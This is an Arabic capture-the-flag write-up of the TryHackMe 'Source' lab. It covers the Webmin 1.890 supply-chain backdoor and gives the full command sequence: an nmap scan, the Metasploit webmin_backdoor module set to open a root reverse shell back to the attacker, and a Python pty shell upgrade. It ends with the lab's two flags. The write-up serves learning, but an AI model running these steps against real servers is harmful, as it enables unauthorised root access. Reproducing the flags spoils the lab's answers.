Source لاب قصير بس بيعلّم درس مهم جداً في الأمن السيبراني: Supply Chain Attacks. نسخة Webmin اللي الموقع نزّلها كانت أصلاً مخترقة من المصدر — فيها Backdoor مزروع جوه كود المصادقة نفسه، مش ثغرة اكتشفها حد بعدين. ده معناه إن أي حد بينزّل النسخة دي بيكون معرّض للاختراق تلقائياً.
اكتشاف وResponsible exploitation لـ Backdoor حقيقي من سلسلة توريد المصدر
Nmap يكشف SSH (OpenSSH 7.6p1) على 22، وMiniServ 1.890 (Webmin) على بورت 10000 شغال فوق SSL.
nmap -sV -sCWebmin MiniServ 1.890 / HTTPSتصفح صفحة تسجيل دخول Webmin وتجربة اعتماديات شائعة لـ admin وroot — مفيش حاجة شغالة. السطح مش محمي بكلمة سر ضعيفة، المشكلة في مكان تاني.
Default credentials testFailedmsfconsole + search webmin بيرجع كذا موديول. الاختيار الصح هو exploit/linux/http/webmin_backdoor — مرتبة “excellent” ومش محتاجة اعتماديات أصلاً.
search webminwebmin_backdoor (no creds needed)ضبط RHOSTS وSSL true وRPORT 10000 وLHOST، وتشغيل exploit. الـ payload الافتراضي (cmd/unix/reverse_perl) بيفتح شل بصلاحيات root فوراً — ترقية الشل بـ Python pty عشان يبقى تفاعلي.
set SSL true / RPORT 10000python3 -c “import pty;pty.spawn(‘/bin/bash’)”uid=0(root) 🏆| الأمر | الوصف | المرحلة |
|---|---|---|
| nmap -sV -sC -p- source.thm | اكتشاف SSH وWebmin على بورت 10000 | Scan |
| msfconsole -q | فتح Metasploit Framework | Setup |
| search webmin | إيجاد موديول webmin_backdoor | Search |
| use exploit/linux/http/webmin_backdoor | اختيار الاستغلال المناسب | Select |
| set RHOSTS source.thm; set SSL true; set RPORT 10000; set LHOST tun0_ip | ضبط إعدادات الاستغلال | Config |
| run | تنفيذ الاستغلال والحصول على شل root | Exploit |
| python3 -c “import pty;pty.spawn(‘/bin/bash’)” | ترقية الشل لتفاعلي كامل | Upgrade |
اكتشاف Webmin 1.890 على بورت 10000
webmin_backdoor في Metasploit — من غير اعتماديات
/home/dark/user.txt — THM{SUPPLY_CHAIN_COMPROMISE}
/root/root.txt — THM{UPDATE_YOUR_INSTALL}